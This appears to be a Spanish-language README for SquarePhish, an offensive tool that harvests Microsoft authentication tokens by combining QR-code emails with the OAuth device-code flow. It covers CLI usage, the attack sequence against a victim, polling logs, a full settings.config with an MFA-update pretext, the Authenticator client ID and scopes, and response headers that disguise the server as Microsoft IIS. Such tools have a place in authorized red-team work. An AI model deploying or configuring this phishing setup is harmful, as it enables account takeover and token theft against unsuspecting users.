
Herramienta avanzada de phishing que combina el flujo de autenticación del código de dispositivo OAuth con códigos QR para recolectar tokens de autenticación de Microsoft mediante pretextos de actualización de MFA.
SquarePhish es una herramienta de phishing avanzada que utiliza una técnica que combina el flujo de autenticación mediante código de dispositivo OAuth y códigos QR.
Consulte PhishInSuits para más detalles sobre el uso del flujo de código de dispositivo OAuth para ataques de phishing.
_____ _____ _ _ _
/ ____| | __ \| | (_) | |
| (___ __ _ _ _ __ _ _ __ ___| |__) | |__ _ ___| |__
\___ \ / _` | | | |/ _` | '__/ _ \ ___/| '_ \| / __| '_ \
____) | (_| | |_| | (_| | | | __/ | | | | | \__ \ | | |
|_____/ \__, |\__,_|\__,_|_| \___|_| |_| |_|_|___/_| |_|
| |
|_|
_________
| | /(
| O |/ (
|> |\ ( v0.1.0
|_________| \(
uso: squish.py [-h] {email,server} ...
SquarePhish -- v0.1.0
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
módulos:
{email,server}
email envía un correo electrónico con un código QR malicioso a una víctima
server aloja un servidor malicioso; los códigos QR generados mediante el módulo 'email'
apuntarán a él, que activará el flujo de código de dispositivo OAuth malicioso
Un atacante puede usar el módulo email de SquarePhish para enviar un correo electrónico con un código QR malicioso a una víctima. El pretexto predeterminado es que la víctima debe actualizar su autenticación MFA de Microsoft para seguir usando el correo electrónico móvil. El ID de cliente actual en uso es la aplicación Microsoft Authenticator.
Al enviar primero un código QR, el atacante puede evitar iniciar prematuramente el flujo de código de dispositivo OAuth, que solo dura 15 minutos.
La víctima luego escaneará el código QR que se encuentra en el cuerpo del correo electrónico con su dispositivo móvil. El código QR dirigirá a la víctima al servidor controlado por el atacante (que ejecuta el módulo server de SquarePhish), con un parámetro de URL configurado con su dirección de correo electrónico.
Cuando la víctima visita el servidor malicioso de SquarePhish, se activa un proceso en segundo plano que iniciará el flujo de autenticación de código de dispositivo OAuth y enviará por correo electrónico a la víctima un código de dispositivo generado que luego deberá ingresar en el sitio web legítimo de código de dispositivo de Microsoft (esto iniciará el temporizador de 15 minutos del flujo de código de dispositivo OAuth).
El servidor de SquarePhish luego continuará sondeando la autenticación en segundo plano.
[2022-04-08 14:31:51,962] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:31:57,185] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:02,372] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:07,516] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:12,847] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:17,993] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:23,169] [info] [[email protected]] Sondeando autenticación del usuario...
[2022-04-08 14:32:28,492] [info] [[email protected]] Sondeando autenticación del usuario...
La víctima luego visitará el sitio de autenticación de código de dispositivo de Microsoft desde el enlace proporcionado en el correo electrónico o mediante una redirección al visitar la URL de SquarePhish en su dispositivo móvil.
La víctima luego ingresará el código de dispositivo proporcionado y se le solicitará consentimiento.
Después de que la víctima se autentique y otorgue consentimiento, se guarda localmente un token de autenticación que proporcionará acceso al atacante a través del ámbito definido de la aplicación solicitante.
[2022-04-08 14:32:28,796] [info] [[email protected]] Información del token guardada en [email protected]
La definición de ámbito actual:
"scope": ".default offline_access profile openid"
¡IMPORTANTE! Antes de usar cualquiera de los módulos, actualice la información requerida en el archivo settings.config anotada con
Required.
Envíe a la víctima objetivo un código QR generado que activará el flujo de código de dispositivo OAuth.
uso: squish.py email [-h] [-c CONFIG] [--debug] [-e EMAIL]
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-c CONFIG, --config CONFIG
archivo de configuración de squarephish [Por defecto: settings.config]
--debug habilita la depuración del servidor
-e EMAIL, --email EMAIL
dirección de correo electrónico de la víctima para enviar el correo QR inicial
-u URL, --url URL fuerza una URL a usar, esto anulará la predeterminada
y no funcionará con el flujo de dispositivo o pretexto predeterminados,
pero puede ser útil si se usa squarephish para enviar señuelos dirigiendo
objetivos a otros servidores
Aloje un servidor al que apuntará un código QR generado y, cuando se solicite, activará el flujo de código de dispositivo OAuth.
uso: squish.py server [-h] [-c CONFIG] [--debug]
argumentos opcionales:
-h, --help muestra este mensaje de ayuda y sale
-c CONFIG, --config CONFIG
archivo de configuración de squarephish [Por defecto: settings.config]
--debug habilita la depuración del servidor
Todas las opciones aplicables para la ejecución se pueden encontrar y modificar a través del archivo settings.config. Hay varias piezas de información requerida que no tienen un valor predeterminado y que el usuario debe completar: SMTP_EMAIL, SMTP_PASSWORD y SQUAREPHISH_SERVER (solo al ejecutar el módulo de correo electrónico). Todas las opciones de configuración han sido documentadas dentro del archivo de configuración mediante comentarios en línea.
Nota: Los valores SQUAREPHISH_ presentes en la sección 'EMAIL' de la configuración deben coincidir con los valores establecidos al ejecutar el servidor SquarePhish.
[DEFAULT]
SMTP_PORT = 465 # Puerto SMTP, predeterminado a 465
SMTP_SERVER = "smtp.gmail.com" # Servidor SMTP, predeterminado a Gmail
SMTP_PROTO = "ssl" # Protocolo SMTP: {ssl, tls, None (dejar vacío)}
SMTP_EMAIL = "" # Proporcionar la dirección de correo electrónico de autenticación aquí
SMTP_PASSWORD = "" # Proporcionar la contraseña de autenticación aquí
[EMAIL]
SQUAREPHISH_SERVER = "" # Requerido: Proporcionar dirección IP/nombre de dominio del servidor SquarePhish alojado
SQUAREPHISH_PORT = 8443 # Puerto del servidor SquarePhish alojado, predeterminado a 8443 (debe coincidir con el valor del servidor a continuación)
SQUAREPHISH_ENDPOINT = "/mfa" # Endpoint del servidor SquarePhish alojado para activar el flujo de código de dispositivo OAuth, predeterminado a un pretexto MFA (debe coincidir con el valor del servidor a continuación)
FROM_EMAIL = "[email protected]" # Dirección FROM predeterminada al enviar un correo electrónico
SUBJECT = "ACCIÓN REQUERIDA: Actualización de autenticación multifactor (MFA)" # ASUNTO predeterminado al enviar un correo electrónico, predeterminado a un pretexto MFA
EMAIL_TEMPLATE = "pretexts/mfa/qrcode_email.html" # Plantilla del cuerpo del correo electrónico para el correo QR a la víctima
[SERVER]
PORT = 8443
FROM_EMAIL = "[email protected]" # Dirección FROM predeterminada al enviar un correo electrónico
SUBJECT = "ACCIÓN REQUERIDA: Actualización de autenticación multifactor (MFA)" # ASUNTO predeterminado al enviar un correo electrónico, predeterminado a un pretexto MFA
CLIENT_ID = "4813382a-8fa7-425e-ab75-3b753aab3abb" # ID de cliente de autenticación, predeterminado a la aplicación Microsoft Authenticator
ENDPOINT = "/mfa" # Endpoint alojado para activar el flujo de código de dispositivo OAuth, predeterminado a un pretexto MFA
CERT_CRT = "" # Archivo .crt del certificado SSL del servidor
CERT_KEY = "" # Archivo .key de la clave SSL del servidor
EMAIL_TEMPLATE = "pretexts/mfa/devicecode_email.html" # Plantilla del cuerpo del correo electrónico para el correo del código de dispositivo a la víctima
PERMISSION_SCOPE = ".default offline_access profile openid" # Ámbito de permiso OAuth - https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-permissions-and-consent
Actualmente, los pretextos predefinidos se pueden encontrar en la carpeta pretexts.
Para escribir pretextos personalizados, use la plantilla existente a través de la carpeta pretexts/iphone/. Se requiere una plantilla de correo electrónico tanto para el correo QR inicial como para el correo de código de dispositivo de seguimiento.
Importante: Al escribir un pretexto personalizado, tenga en cuenta la presencia de %s en ambas plantillas de pretexto. Esto existe para permitir que SquarePhish complete los datos correctos al generar correos electrónicos (datos del código QR y/o valor del código de dispositivo).
Hay varios encabezados de respuesta HTTP definidos en el archivo utils.py. Estos encabezados están definidos para anular cualquier valor de encabezado de respuesta Flask existente y proporcionar una respuesta más 'legítima' desde el servidor. Estos valores de encabezado se pueden modificar, eliminar y/o se pueden incluir encabezados adicionales para mejorar la OPSEC.
{
"vary": "Accept-Encoding",
"server": "Microsoft-IIS/10.0",
"tls_version": "tls1.3",
"content-type": "text/html; charset=utf-8",
"x-appversion": "1.0.8125.42964",
"x-frame-options": "SAMEORIGIN",
"x-ua-compatible": "IE=Edge;chrome=1",
"x-xss-protection": "1; mode=block",
"x-content-type-options": "nosniff",
"strict-transport-security": "max-age=31536000",
}